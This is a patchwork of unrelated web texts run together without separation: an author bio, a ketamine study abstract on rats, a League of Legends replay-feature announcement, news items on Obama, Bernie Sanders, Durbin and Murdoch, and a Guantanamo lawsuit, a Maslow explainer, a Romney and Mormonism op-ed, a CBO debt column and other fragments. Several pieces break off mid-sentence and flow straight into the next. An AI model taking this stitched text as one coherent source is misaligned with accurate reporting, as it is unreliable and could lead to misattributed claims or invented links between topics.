Don Jolly is a drug addict squatting in Brooklyn, New York. His writing has appeared in The Revealer, the Los Angeles Review of Books, Planetary Stories and Penthouse Magazine. His essay “Sexuality in Three Ex-Scientology Narratives” will appear in Brill’s Handbook of Scientology, releasing January 2017. It costs more than two-hundred dollars.We investigated the effects of ketamine on both the temporal and spatial profiles of neural precursor cells located in the hippocampus, and on antidepressant-like behaviors in rats. A single dose of ketamine resulted in a significant increase in the number of 5-bromo-2-deoxyuridine-positive (BrdU(+)) cells in the dentate gyrus (DG) of rats at 24h, but not at 28days, after treatment completion. Ketamine caused antidepressant-like behaviors in the forced swim test (FST) and novelty suppressed feeding test (NSFT). Viral-mediated hippocampal knockdown of vascular endothelial growth factor (VEGF) produced depressive-like behaviors in the FST and NSFT, which were partially recovered by ketamine to the level observed in the control group. The behavioral effects of VEGF knock down were accompanied by a decrease in hippocampal neurogenesis, which was also partially recovered by ketamine. Our results suggest that basal hippocampal VEGF expression is necessary for ketamine-induced antidepressant-like behaviors in rats, but ketamine-induced VEGF expression only partially contributes to hippocampal neurogenesis and the antidepressant-like effects of ketamine.
Copyright © 2016. Published by Elsevier B.V.Riot has announced that a REPLAY system will be launching for the LCU this pre-season!
Table of Contents
Announcement
"That time we said we weren’t doing Replays…
The last time we talked about Replays was about a year ago in our first Riot Pls. At that time, a number of factors led us to deprioritize Replays. Since then, we’ve put a ton of love into League’s global infrastructure (for example creating Riot Direct), prompting us to revisit the conversation. At that point, we realized it was finally the right time for us to explore the feature.
We had everything we needed to build Replays except support for backpatching—which lets you watch replays from previous patches. So we asked ourselves: is backpatching so important we can’t ship Replays without it? We knew players wanted to relive specific moments from a match, no matter how much time had passed, and realized we could reach other solutions to that problem than backpatching.
That brings us to where we are today. We are ready to announce that Replays are coming to the League client update this pre-season.
Here’s how it works:
Download your replay from the End of Game Screen or Match History.
Watch Replays from the current patch using our new Replay Mode, with the functionality you’re used to from Spectator Mode.
Find cool moments using the new Annotated Timeline, which marks major events like kills, takedowns of towers and inhibitors, and dragon/baron kills.
Capture video clips of your in-game moments (“Highlights”) using built-in recording functionality.
These Highlights will be stored on your hard drive (C:\MyDocuments\LeagueofLegends\Highlights) as a.webm video file. These files can be viewed by opening them in any browser that supports HTML5, and shared to social media alongside your cat gifs.
With all of those pieces put together, you’ll be able to quickly capture, save, and share your favorite moments on video to share whenever you want.
This is our first iteration and we’re excited to keep working on the feature. Stay tuned in the coming months for more details!"
Additional Discussion
Cactopus
"Basically, we decided to launch it without support for watching replays for older patches. We could have held it off while coming up with a solution, but instead we decided to give you guys a version 1.00 that gets the job done. We'll keep working on it!"
"We're pretty straight up about this. We're not trying to create the ultimate game archival system. We just want players to have working replays right now. And we'll keep working on it going forward."
"Watch replays during the current patch. Save them as recordings if you want to keep them past the current patch."
Gentleman-Gustaf
"Quote:
The way I understood it, we can still watch replays from older patches because the videos are saved on our hard drives in.webm format, meaning we can upload them somewhere and watch them that way, even if they are not on the current patch. Am I misunderstanding? sort of. The Replays themselves are a lot like spectator mode. You can hop into the actual game, change where the camera is, and so on. You can then also record parts of the game (or the whole game) from a fixed viewpoint, like a regular video. Once the patch ends, you can no longer do the first part, but you can do the second part." RiotMrBBunaby added:
""Replay" = the ability to toggle fog of war, move the camera, center on different champions, etc. (basically anything that the Spectator controls allow you to do). Highlights = video clip that you've created, never expire, and can be shared anywhere videos exist."
In the boards thread for the announcement, Cactopus he'd be sticking around to answer questions on the League Client Update Beta:
"Yo, hit me with any questions y'all have about the client update! Open beta is coming soon—we hope to announce a specific date closer to preseason." When asked about the estimated time for the LCU beta to hit live servers, Cactopus noted:
"Official date coming soon. Aiming this year, but things can always change with game development." As for when the LCU will replace the current legacy client, Cactopus commented:
"after open beta ends. probably early 2017? we gotta see how open beta goes down tho"
When asked how big each replay file is, Cactopus noted:
"roughly 10mb apiece" He
"yep, they're.rofl files"
BACK TO TOP] In the boards thread for the announcement, added he'd be sticking around to answer questions on the League Client Update Beta:When asked about the estimated time for the LCU beta to hit live servers,As for when the LCU will replace the current legacy client,When asked how big each replay file is,noted:He continued
Continue reading for more information!From the official announcement - " Road to Pre-Season: Replays on the Horizon ":When asked about the lack of back patch support with the launch,He added He added When asked how the replays work with current patches,U.S. President Barack Obama and his family return to Martha's Vineyard in Massachusetts Friday for a vacation in which he is likely to spend time playing golf.
No official public events are on the agenda as President Obama, his wife Michelle and daughters Malia and Sasha spend more than two weeks vacationing on the resort island, according to officials.
In the past, the president and his family have been spotted going on bicycle rides and dining out at restaurants on Martha's Vineyard.
The Obamas were originally scheduled to leave Washington Saturday, but the trip was moved up by a day, with multiple news agencies reporting that they aren't expected to return until Aug. 23.
Interruptions possible
The president is traveling with a group of aides who will brief him on national and international events.
Although he is taking a break from Washington, Obama has had to interrupt his vacation in the past because of domestic and international events.
Last year, he addressed the nation from Martha's Vineyard regarding clashes between protesters and police in the U.S. city of Ferguson, Missouri, U.S. military action in Iraq and the beheading of U.S. journalist James Foley by the Islamic State militant group. He also returned to Washington briefly for meetings.
The president has been to Martha's Vineyard several times, skipping 2012 when he was up for re-election.
The Obamas are expected to return to Washington in late August.Perspectives Humanism Maslow
Maslow's Hierarchy of Needs
Maslow's Hierarchy of Needs
By Saul McLeod, updated 2018
Maslow's hierarchy of needs is a motivational theory in psychology comprising a five-tier model of human needs, often depicted as hierarchical levels within a pyramid.
From the bottom of the hierarchy upwards, the needs are: physiological, safety, love and belonging, esteem and self-actualization. Needs lower down in the hierarchy must be satisfied before individuals can attend to needs higher up.
Deficiency needs vs. growth needs
This five-stage model can be divided into deficiency needs and growth needs. The first four levels are often referred to as deficiency needs (D-needs), and the top level is known as growth or being needs (B-needs).
Deficiency needs arise due to deprivation and are said to motivate people when they are unmet. Also, the motivation to fulfill such needs will become stronger the longer the duration they are denied. For example, the longer a person goes without food, the more hungry they will become.
Maslow (1943) initially stated that individuals must satisfy lower level deficit needs before progressing on to meet higher level growth needs. However, he later clarified that satisfaction of a needs is not an “all-or-none” phenomenon, admitting that his earlier statements may have given “the false impression that a need must be satisfied 100 percent before the next need emerges” (1987, p. 69).
When a deficit need has been'more or less' satisfied it will go away, and our activities become habitually directed towards meeting the next set of needs that we have yet to satisfy. These then become our salient needs. However, growth needs continue to be felt and may even become stronger once they have been engaged.
Growth needs do not stem from a lack of something, but rather from a desire to grow as a person. Once these growth needs have been reasonably satisfied, one may be able to reach the highest level called self-actualization.
Every person is capable and has the desire to move up the hierarchy toward a level of self-actualization. Unfortunately, progress is often disrupted by a failure to meet lower level needs. Life experiences, including divorce and loss of a job, may cause an individual to fluctuate between levels of the hierarchy.
Therefore, not everyone will move through the hierarchy in a uni-directional manner but may move back and forth between the different types of needs.
The original hierarchy of needs five-stage model includes:
Maslow (1943, 1954) stated that people are motivated to achieve certain needs and that some needs take precedence over others. Our most basic need is for physical survival, and this will be the first thing that motivates our behavior. Once that level is fulfilled the next level up is what motivates us, and so on.
1. Physiological needs - these are biological requirements for human survival, e.g. air, food, drink, shelter, clothing, warmth, sex, sleep. If these needs are not satisfied the human body cannot function optimally. Maslow considered physiological needs the most important as all the other needs become secondary until these needs are met.
2. Safety needs - protection from elements, security, order, law, stability, freedom from fear. 3. Love and belongingness needs - after physiological and safety needs have been fulfilled, the third level of human needs is social and involves feelings of belongingness. The need for interpersonal relationships motivates behavior Examples include friendship, intimacy, trust, and acceptance, receiving and giving affection and love. Affiliating, being part of a group (family, friends, work).
4. Esteem needs - which Maslow classified into two categories: (i) esteem for oneself (dignity, achievement, mastery, independence) and (ii) the desire for reputation or respect from others (e.g., status, prestige). Maslow indicated that the need for respect or reputation is most important for children and adolescents and precedes real self-esteem or dignity. 5. Self-actualization needs - realizing personal potential, self-fulfillment, seeking personal growth and peak experiences. A desire “to become everything one is capable of becoming”(Maslow, 1987, p. 64).
Maslow posited that human needs are arranged in a hierarchy:
"It is quite true that man lives by bread alone — when there is no bread. But what happens to man’s desires when there is plenty of bread and when his belly is chronically filled? At once other (and “higher”) needs emerge and these, rather than physiological hungers, dominate the organism. And when these in turn are satisfied, again new (and still “higher”) needs emerge and so on. This is what we mean by saying that the basic human needs are organized into a hierarchy of relative prepotency" (Maslow, 1943, p. 375).
Maslow continued to refine his theory based on the concept of a hierarchy of needs over several decades (Maslow, 1943, 1962, 1987).
Regarding the structure of his hierarchy, Maslow (1987) proposed that the order in the hierarchy “is not nearly as rigid” (p. 68) as he may have implied in his earlier description.
Maslow noted that the order of needs might be flexible based on external circumstances or individual differences. For example, he notes that for some individuals, the need for self-esteem is more important than the need for love. For others, the need for creative fulfillment may supersede even the most basic needs.
Maslow (1987) also pointed out that most behavior is multi-motivated and noted that “any behavior tends to be determined by several or all of the basic needs simultaneously rather than by only one of them” (p. 71).
Hierarchy of needs summary
(a) human beings are motivated by a hierarchy of needs. (b) needs are organized in a hierarchy of prepotency in which more basic needs must be more or less met (rather than all or none) prior to higher needs. (c) the order of needs is not rigid but instead may be flexible based on external circumstances or individual differences. (d) most behavior is multi-motivated, that is, simultaneously determined by more than one basic need.
The expanded hierarchy of needs
It is important to note that Maslow's (1943, 1954) five-stage model has been expanded to include cognitive and aesthetic needs (Maslow, 1970a) and later transcendence needs (Maslow, 1970b).
Changes to the original five-stage model are highlighted and include a seven-stage model and an eight-stage model; both developed during the 1960's and 1970s.
1. Biological and physiological needs - air, food, drink, shelter, warmth, sex, sleep, etc.
2. Safety needs - protection from elements, security, order, law, stability, etc.
3. Love and belongingness needs - friendship, intimacy, trust, and acceptance, receiving and giving affection and love. Affiliating, being part of a group (family, friends, work).
4. Esteem needs - which Maslow classified into two categories: (i) esteem for oneself (dignity, achievement, mastery, independence) and (ii) the desire for reputation or respect from others (e.g., status, prestige).
5. Cognitive needs - knowledge and understanding, curiosity, exploration, need for meaning and predictability. 6. Aesthetic needs - appreciation and search for beauty, balance, form, etc.
7. Self-actualization needs - realizing personal potential, self-fulfillment, seeking personal growth and peak experiences.
8. Transcendence needs - A person is motivated by values which transcend beyond the personal self (e.g., mystical experiences and certain experiences with nature, aesthetic experiences, sexual experiences, service to others, the pursuit of science, religious faith, etc.).
Self-actualization
Instead of focusing on psychopathology and what goes wrong with people, Maslow (1943) formulated a more positive account of human behavior which focused on what goes right. He was interested in human potential, and how we fulfill that potential.
Psychologist Abraham Maslow (1943, 1954) stated that human motivation is based on people seeking fulfillment and change through personal growth. Self-actualized people are those who were fulfilled and doing all they were capable of.
The growth of self-actualization (Maslow, 1962) refers to the need for personal growth and discovery that is present throughout a person’s life. For Maslow, a person is always 'becoming' and never remains static in these terms. In self-actualization, a person comes to find a meaning to life that is important to them.
As each individual is unique, the motivation for self-actualization leads people in different directions (Kenrick et al., 2010). For some people self-actualization can be achieved through creating works of art or literature, for others through sport, in the classroom, or within a corporate setting.
Maslow (1962) believed self-actualization could be measured through the concept of peak experiences. This occurs when a person experiences the world totally for what it is, and there are feelings of euphoria, joy, and wonder.
It is important to note that self-actualization is a continual process of becoming rather than a perfect state one reaches of a 'happy ever after' (Hoffman, 1988).
Maslow offers the following description of self-actualization:
'It refers to the person’s desire for self-fulfillment, namely, to the tendency for him to become actualized in what he is potentially. The specific form that these needs will take will of course vary greatly from person to person. In one individual it may take the form of the desire to be an ideal mother, in another it may be expressed athletically, and in still another it may be expressed in painting pictures or in inventions' (Maslow, 1943, p. 382–383).
Characteristics of self-actualized people
Although we are all, theoretically, capable of self-actualizing, most of us will not do so, or only to a limited degree. Maslow (1970) estimated that only two percent of people would reach the state of self-actualization. He was especially interested in the characteristics of people whom he considered to have achieved their potential as individuals.
By studying 18 people he considered to be self-actualized (including Abraham Lincoln and Albert Einstein) Maslow (1970) identified 15 characteristics of a self-actualized person.
Characteristics of self-actualizers:
1. They perceive reality efficiently and can tolerate uncertainty;
2. Accept themselves and others for what they are;
3. Spontaneous in thought and action;
4. Problem-centered (not self-centered);
5. Unusual sense of humor;
6. Able to look at life objectively;
7. Highly creative;
8. Resistant to enculturation, but not purposely unconventional;
9. Concerned for the welfare of humanity;
10. Capable of deep appreciation of basic life-experience;
11. Establish deep satisfying interpersonal relationships with a few people;
12. Peak experiences;
13. Need for privacy;
14. Democratic attitudes;
15. Strong moral/ethical standards.
Behavior leading to self-actualization:
(a) Experiencing life like a child, with full absorption and concentration;
(b) Trying new things instead of sticking to safe paths;
(c) Listening to your own feelings in evaluating experiences instead of the voice of tradition, authority or the majority;
(d) Avoiding pretense ('game playing') and being honest;
(e) Being prepared to be unpopular if your views do not coincide with those of the majority;
(f) Taking responsibility and working hard;
(g) Trying to identify your defenses and having the courage to give them up.
The characteristics of self-actualizers and the behaviors leading to self-actualization are shown in the list above. Although people achieve self-actualization in their own unique way, they tend to share certain characteristics. However, self-actualization is a matter of degree, 'There are no perfect human beings' (Maslow,1970a, p. 176).
It is not necessary to display all 15 characteristics to become self-actualized, and not only self-actualized people will display them. Maslow did not equate self-actualization with perfection. Self-actualization merely involves achieving one's potential. Thus, someone can be silly, wasteful, vain and impolite, and still self-actualize. Less than two percent of the population achieve self-actualization.
Educational applications
Maslow's (1962) hierarchy of needs theory has made a major contribution to teaching and classroom management in schools. Rather than reducing behavior to a response in the environment, Maslow (1970a) adopts a holistic approach to education and learning. Maslow looks at the complete physical, emotional, social, and intellectual qualities of an individual and how they impact on learning.
Applications of Maslow's hierarchy theory to the work of the classroom teacher are obvious. Before a student's cognitive needs can be met, they must first fulfill their basic physiological needs. For example, a tired and hungry student will find it difficult to focus on learning. Students need to feel emotionally and physically safe and accepted within the classroom to progress and reach their full potential.
Maslow suggests students must be shown that they are valued and respected in the classroom, and the teacher should create a supportive environment. Students with a low self-esteem will not progress academically at an optimum rate until their self-esteem is strengthened.
Maslow (1971, p. 195) argued that a humanistic educational approach would develop people who are “stronger, healthier, and would take their own lives into their hands to a greater extent. With increased personal responsibility for one’s personal life, and witha rational set of values to guide one’s choosing, people would begin to actively change the society in which they lived”.
Critical evaluation
The most significant limitation of Maslow's theory concerns his methodology. Maslow formulated the characteristics of self-actualized individuals from undertaking a qualitative method called biographical analysis.
He looked at the biographies and writings of 18 people he identified as being self-actualized. From these sources, he developed a list of qualities that seemed characteristic of this specific group of people, as opposed to humanity in general.
From a scientific perspective, there are numerous problems with this particular approach. First, it could be argued that biographical analysis as a method is extremely subjective as it is based entirely on the opinion of the researcher. Personal opinion is always prone to bias, which reduces the validity of any data obtained. Therefore Maslow's operational definition of self-actualization must not be blindly accepted as scientific fact.
Furthermore, Maslow's biographical analysis focused on a biased sample of self-actualized individuals, prominently limited to highly educated white males (such as Thomas Jefferson, Abraham Lincoln, Albert Einstein, William James, Aldous Huxley, Beethoven).
Although Maslow (1970) did study self-actualized females, such as Eleanor Roosevelt and Mother Teresa, they comprised a small proportion of his sample. This makes it difficult to generalize his theory to females and individuals from lower social classes or different ethnicity. Thus questioning the population validity of Maslow's findings.
Furthermore, it is extremely difficult to empirically test Maslow's concept of self-actualization in a way that causal relationships can be established.
Another criticism concerns Maslow's assumption that the lower needs must be satisfied before a person can achieve their potential and self-actualize. This is not always the case, and therefore Maslow's hierarchy of needs in some aspects has been falsified.
Through examining cultures in which large numbers of people live in poverty (such as India), it is clear that people are still capable of higher order needs such as love and belongingness. However, this should not occur, as according to Maslow, people who have difficulty achieving very basic physiological needs (such as food, shelter, etc.) are not capable of meeting higher growth needs.
Also, many creative people, such as authors and artists (e.g., Rembrandt and Van Gogh) lived in poverty throughout their lifetime, yet it could be argued that they achieved self-actualization.
Psychologists now conceptualize motivation as a pluralistic behavior, whereby needs can operate on many levels simultaneously. A person may be motivated by higher growth needs at the same time as lower level deficiency needs.
Contemporary research by Tay and Diener (2011) has tested Maslow’s theory by analyzing the data of 60,865 participants from 123 countries, representing every major region of the world. The survey was conducted from 2005 to 2010.
Respondents answered questions about six needs that closely resemble those in Maslow's model: basic needs (food, shelter); safety; social needs (love, support); respect; mastery; and autonomy. They also rated their well-being across three discrete measures: life evaluation (a person's view of his or her life as a whole), positive feelings (day-to-day instances of joy or pleasure), and negative feelings (everyday experiences of sorrow, anger, or stress).
The results of the study support the view that universal human needs appear to exist regardless of cultural differences. However, the ordering of the needs within the hierarchy was not correct.
"Although the most basic needs might get the most attention when you don't have them," Diener explains, "you don't need to fulfill them in order to get benefits [from the others]." Even when we are hungry, for instance, we can be happy with our friends. "They're like vitamins," Diener says about how the needs work independently. "We need them all."
APA Style References
Hoffman, E. (1988). The right to be human: A biography of Abraham Maslow. Jeremy P. Tarcher, Inc.
Kenrick, D. T., Neuberg, S. L., Griskevicius, V., Becker, D. V., & Schaller, M. (2010). Goal-Driven Cognition and Functional Behavior The Fundamental-Motives Framework. Current Directions in Psychological Science, 19(1), 63-67.
Maslow, A. H. (1943). A Theory of Human Motivation. Psychological Review, 50(4), 370-96.
Maslow, A. H. (1954). Motivation and personality. New York: Harper and Row.
Maslow, A. H. (1962). Toward a Psychology of being. Princeton: D. Van Nostrand Company.
Maslow, A. H. (1970a). Motivation and personality. New York: Harper & Row.
Maslow, A. H. (1970b). Religions, values, and peak experiences. New York: Penguin. (Original work published 1966)
Maslow, A. H. (1987). Motivation and personality (3rd ed.). Delhi, India: Pearson Education.
Tay, L., & Diener, E. (2011). Needs and subjective well-being around the world. Journal of Personality and Social Psychology, 101(2), 354-356. doi:10.1037/a00
Wulff, D. M., & Maslow, A. H. (1965). Religions, Values, and Peak-Experiences. The Journal of Higher Education, 36(4), 235.
Application of the Maslow’s Hierarchy of Need Theory Organizational culture, human resource and employee's performance0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Sen. Bernie Sanders (I-VT) is cheering the Justice Department’s decision to begin the phase out of using private prisons to house federal inmates.
In a statement, Sen. Sanders reacted to the announcement by the Justice Department:
Our criminal justice system is broken and in need of major reforms. The Justice Department’s plan to end its use of private prisons is an important step in the right direction. It is exactly what I campaigned on as a candidate for president.
It is an international embarrassment that we put more people behind bars than any other country on earth. Due in large part to private prisons, incarceration has been a source of major profits to private corporations. Study after study after study has shown private prisons are not cheaper, they are not safer, and they do not provide better outcomes for either the prisoners or the state.
We have got to end the private prison racket in America as quickly as possible. Our focus should be on keeping people out of jail and making sure they stay out when they are released. This means funding jobs and education not more jails and incarceration.
Today’s announcement is the beginning of the end for the two-decade old conservative experiment in federal prison privatization. The main conservative argument for the privatization of prisons has been that they save money, but as Sen. Sanders pointed out studies have shown that this argument is based more conservative privatization ideology, not fiscal facts.
Some excellent investigative journalism by Mother Jones has blown the lid off of the for-profit prison system.
A key argument of Bernie Sanders’ presidential campaign was that it is morally wrong for corporations to be profiting off of putting people in prison. A for profit motive has corrupted and made the prison system more dangerous for inmates.
While ending the federal use of private prisons doesn’t solve the problem, the DOJ’s decision is a landmark shift away from decades of failed conservative privatization ideology.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Copper and lithium from Chile, iron ore from Brazil and gold from Peru: German industry is increasingly turning to South America when it comes to raw materials, seeking to join forces with the emerging region.
Germany launched a charm offensive in January when Chancellor Angela Merkel attended the EU-Latin America summit in Santiago de Chile to promote a new partnership among equals. Until then, the chancellor had shown but mild interest in the region, and since taking office in 2005 had visited the continent but once. Just three months after the summit in Chile, Ecuador |
, which I think a captain should have. He fights when he is playing and he can get his players to fight for him.
Can you talk a little bit about the emotions of first, winning that Lord's Test and taking the last wicket and then this year, winning the Champions Trophy final in England again?
I realised in England, after the Champions Trophy final, that in the country where so many people had to bear so much sadness and worry because of me, in the face of that win, God got me to do that performance and I felt like I brought back some happiness to the same people in that country. That was a big thing for me, because I've always said it, this was a debt I owed. I had to do something by which the Pakistani nation would be happy with me. That was a day when all Pakistan fans were really happy - I think it was the happiest moment of my life.Sen. Dick Durbin Richard (Dick) Joseph DurbinKids confront Feinstein over Green New Deal Senate plots to avoid fall shutdown brawl Overnight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run MORE (Ill.), the second-ranking Senate Democrat, has called for congressional hearings and investigations of Rupert Murdoch’s media empire to determine whether it employed illegal practices in the United States.
Durbin called for Congress to investigate the matter after British police arrested Rebekah Brooks Sunday morning in a widening probe of phone hacking and police payoffs by journalists who worked for Murdoch.
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Brooks resigned last week as the chief executive of News International, the newspaper division of Murdoch’s media operations.Democrats are suspicious that Murdoch’s media companies, which include theand Fox News, may have used illegal practices in the United States.“I can tell you that there are questions about whether the Foreign Corrupt Practices Act has been violated by Rupert Murdoch and his news empire and what’s going on in England is startling,” Durbin said Sunday on NBC’s “Meet the Press.”Durbin reiterated Democrats’ demands that the FBI investigate possible illegal practices by Murdoch’s media companies within the U.S.“We need to follow through with the FBI investigation and also with congressional investigations,” he said.Rep. Pete King (N.Y.), the Republican chairman of the House Homeland Security Committee, has raised concerns about whether the victims of the 9/11 terrorist attacks and their families may have been subject to phone hacking by reporters or other unethical action.The FBI has already launched a probe, according to media reports from last week.Sen. Jim DeMint (S.C.), chairman of the Senate Republican Steering Committee, said Sunday that Congress should stay out of the issue.“We need to let law enforcement work here. Congress has got a big issue in front of us. We need to handle our own business for a change,” he said.Attorneys for a detainee at Guantanamo Bay are suing the psychologists who created the CIA’s harsh interrogation techniques used in the war on terror, aiming to compel them to provide information to Polish officials who are investigating a former CIA jail in that country.
The lawsuit was filed late last month in federal court in eastern Washington state and was announced Wednesday by the London-based human rights group Reprieve. The suit details what it describes as the torture of Abu Zubaydah, who was held in the CIA black site, or secret interrogation facility, in Stare Kiejkuty, Poland, from Dec. 5, 2002-Sept. 22, 2003.
Zubaydah, described in official U.S. documents as a “facilitator” for al-Qaida, has been held at the U.S. naval base in Guantanamo Bay, Cuba since September 2006.
The lawsuit says James Elmer Mitchell and John “Bruce” Jessen, because of their role in the interrogation program and their presence at the site, have information relevant to the investigation being carried out by the Organized Crimes Division of the Regional Public Prosecutor’s Office in Krakow, Poland. They are investigating whether Polish officials facilitated the existence or operation of the CIA black site.
Henry Schuelke, an attorney in Washington who represents Mitchell and Jessen, told The Associated Press over the phone that he was familiar with the lawsuit, but declined to comment on it.
Mitchell and Jessen ran a Spokane-based company that received $81 million from the CIA to develop methods to extract information that included waterboarding and sleep deprivation. President Barack Obama terminated their contract in 2009. A U.S. Senate investigation in 2014 found that Mitchell and Jessen’s techniques produced no useful intelligence in the war on terror.
U.S. Justice Department officials have filed a statement with the court saying “the proposed subpoenas and categories of information sought in this action raise important and complex questions regarding the United States’ national security and foreign policy interests.”
Consequently, the U.S. government could file a statement of interest in the case by the end of June, or advise that it will not participate in the case, the officials said.
The American Civil Liberties Union filed a lawsuit against the psychologists in 2015 on behalf of Suleiman Abdullah Salim, Mohamed Ahmed Ben Soud and the estate of Gul Rahman, who died in custody. The men contend they were tortured using techniques Mitchell and Jessen designed. A trial in that case is set for early September.“You are cursed because of your riches!”
It was a bummer message that nobody wanted to hear. Samuel the Lamanite stood alone atop the great wall of the city of Zarahemla to warn the inhabitants of their pending destruction.
Now you have probably never heard of this Samuel, nor the capital city that was once the center of the Nephite nation. But Mitt Romney certainly has. In 6 BC, as the story goes, somewhere on the American continent, the inhabitants of this mythic city had grown decadent. There were extreme class divisions. Politicians were corrupt. The government disregarded the sick and poor.
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Sound familiar?
God had called Samuel to essentially Occupy Zarahemla, to stand up and speak out against corporate greed and wealth accumulation. For his trouble, he was promptly thrown out the front gates. Undeterred, he bravely scaled the city’s exterior wall, evading a barrage of arrows and stones to stand defiant. He offered Zarahemla a choice: repent or be destroyed by God. Like any of us who have ever witnessed the ranting of a doomsday prophet, the Nephites couldn’t be bothered. Four hundred years later, Samuel’s prophecy would sorely come to pass. After decades of perpetual wars and extreme environmental upheavals, the inhabitants of Zarahemla were wiped completely off the continent and out of history.
They had been warned.
The rise and fall of the Nephite nation is a cautionary tale included in the Book of Mormon. The book purports to be the history of ancient American people, written by prophets who foresaw the present day and knew that calamity was coming. Joseph Smith reportedly translated the record by “the gift and power of God.” The prophetic message of the scripture is sharp; if Americans are obedient to God, we will be blessed with riches. If Americans set our hearts on riches and ignore the poor, we will be destroyed.
It’s an ontological dilemma facing every millionaire Mormon.
One hundred and eighty-two years after its founding, the Church of Jesus Christ of Latter-day Saints is certainly prospering. The Church has diversified into commercial enterprises, owning television and radio stations, universities, farms, banks and, most recently, retail. Last month, the Church opened City Creek Mall, a stunning billion-dollar downtown renovation in Salt Lake City featuring the Utah debut of Tiffany Jewelry, Michael Kors and Porches Design. This ambitious temple of high-end commerce sits adjacent to the iconic LDS Temple where sacred rituals are performed daily by the Mormon faithful.
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Mitt Romney and City Creek represent the culmination of a great transformation within Mormonism. As an outcast faith, early Mormons experimented with communal living and alternative marriages. This original brand of Mormonism was typified by their rugged frontier prophet and polygamist outsider Brigham Young. In 1848, Young famously declared, “There shall be no private ownership of the streams that come out of the canyons, nor the timber that grows on the hills. These belong to the people: all the people.”
Young’s egalitarian separatism has long been superseded. The living embodiment of the 21st century saint is now the slick, painfully monogamous, politically malleable super-capitalist Romney who shares “humorous” tales of layoffs and factory closures.
Romney perfected the art of “creative destruction” through leveraged buyouts and junk bond financing that enriched his investors at Bain Capital while at times devastating common workers. His critics from the 99 percent, he argues, are driven by envy.
Ironically, while Romney would prefer to discuss wealth inequality in “quiet rooms,” the topic consumed both Joseph Smith and Brigham Young’s sermons and writings. For a short time in the Book of Mormon, the Nephites abandoned their love of riches and established “Zion” -- a classless utopia that “had all things common among them; therefore there were not rich and poor, but they were all made free.”
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The Nephite story provided the template for Smith and Young’s social experiments with communalism. They would both try repeatedly to replicate the mythic Zion. Smith repeatedly told his followers, “if you are not equal in earthly things you cannot be equal in obtaining heavenly things.” Young also championed wealth redistribution, “We have plenty here. No person is going to starve, or suffer, if there is an equal distribution of the necessaries of life.”
But like all utopias, the dream is easier than reality.
Facing the existential threat of federal disincorporation, the LDS Church responded by seeking assimilation at any cost. They began to privatize their cooperative business ventures throughout the 1880s and publicly abandoned polygamy in 1890. The course was set. To survive in America, Mormons would transform themselves into patriotic citizens. The quest for Zion would be replaced by the American dream. The rhetoric of communalism exchanged with a reverence for the free market. Romney’s ascendance to the nation’s highest office will affirm to Mormons that their faith is finally authentic – that they are the indisputable Horatio Alger of American religions.
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But how would the poor fare under the first Mormon president? By all accounts, not well. Romney has eagerly endorsed Paul Ryan’s budget plan to slash $3.3 trillion from programs that benefit low-income Americans. Furthermore, Romney refuses to consider increased taxes on millionaires or a modest increase on the taxable rates of capital gains. He encourages the wealthy to hoard their riches while the poor continue to struggle. It’s a familiar story he should know. Samuel the Lamanite continues to cry out to Romney in sacred protest, “The day shall come when they shall hide up their treasures, because they have set their hearts upon riches; cursed be they and also their treasures.”
He has been warned.Libertarians and conservatives are skeptical of the government's ability to do anything well. But there's one thing the government excels at producing: debt. Granted, this isn't a good thing, but we must nevertheless recognize the government's skill at it. And just when you think it can't outdo itself, our government surprises you with an extra production of debt and deficit, just like that.
Case in point: the new Congressional Budget Office's budget and economic outlook for 2017 to 2027. The main conclusion is that the government continues to spend more money—faster and above and beyond the revenue it collects. In other words, our debt is growing big-time.
Obviously, we can't indefinitely spend 21 percent of our gross domestic product while collecting 17.8 percent in revenue. But it's particularly worrisome because we're already starting from a point of high deficit and debt levels. According to the CBO, under the current law, deficit spending will be $559 billion in 2017, but it will reach the trillion-dollar mark in 2023 and go on to total $1.4 trillion in 2027. As a share of the economy, the deficit will go from 2.9 percent in 2017 to 5 percent in 2027.
Think about that for a second. Assuming there are no recessions in the next decade, the CBO projects that within five years, we will return to the deficit levels we had during the Great Recession. At least back then, we knew that things were going to improve at some point. And they did, albeit very slowly. But it won't be the case this time. If anything, it could get worse if the economy were to slow down even further.
Do you know what else grows along with deficits? Debt and the interest we pay as a price for borrowing money from domestic and foreign investors. The debt as a share of the economy will go from 77.5 percent in 2017 to 88.9 percent in 2027, while our interest payments will balloon to $768 billion in 10 years, up from $270 billion this year.
As always, the culprit behind these deficit and debt explosions is growing spending on Social Security, Medicare, Medicaid, and interest on our debt. These programs have long been and remain the driver of our future debt. The CBO reports that they will consume $5 trillion of our $6.5 trillion 2027 budget.
Not to worry, you say; the Trump administration has promised to repeal the Affordable Care Act. It's true that the CBO budget doesn't take under consideration the promises made by the new president, including the one about getting rid of his predecessor's health care law. Unfortunately, we will have to wait and see what the new president and Congress actually end up doing on that front.
While it's clear that we are heading toward some partial repeal of the law, the rumors about what they are planning to replace it with aren't too reassuring. First, even though they've had seven years to do it, the Republicans still haven't coalesced around a replacement plan. Some would like to keep a few expensive features of the ACA, such as the ones benefiting dependents who are younger than 26 and people with pre-existing conditions. President Trump has made some off-the-cuff remarks about insuring every American, too. In other words, the replacement plan may end up being a drain on the budget just like the ACA.
We were told last week that the president would propose some big spending cuts. Call me a cynic, but I'll believe it when I see them implemented. For one thing, as mentioned earlier, President Trump has repeatedly said he won't touch Social Security or Medicare—the two programs the CBO says will be responsible for most of the spending growth in the next decade if nothing changes. Trump also made clear that he wants massive infrastructure spending and more spending on defense—and he talked about expensive paid family leave, as well as large child tax credits, on the campaign trail. If you add to that potential trade wars and increased levels of cronyism, we could see even more government spending than we have projected now.
To be fair, Trump wants to see fundamental tax reforms and deregulation implemented. However, it's hard to see how these policies, no matter how great they are, could generate enough growth—and hence revenue—to compensate for all that new and old spending. That is why, in four years, Trump may be able to truthfully call himself, not Barack Obama, the biggest debt creator of all time.
COPYRIGHT 2017 CREATORS.COMLet me start by admitting a persistent befuddlement in the face of many of life's presumably easily answered questions. The one that has mystified me the longest is - why, if we're constantly replacing the cells in our bodies, do we retain scars? Get wrinkles as we age? Shrink and limp our ways to the grave?
I am sure a quick PubMed literature search would reveal that this "mystery" is easily explicable by the vagaries of environmentally-caused cell mutations, or some nasty, but I'll leave that science to the biologists and geneticists for now. I'm more interested in the science fiction of it all, and what it means for our sense of self.
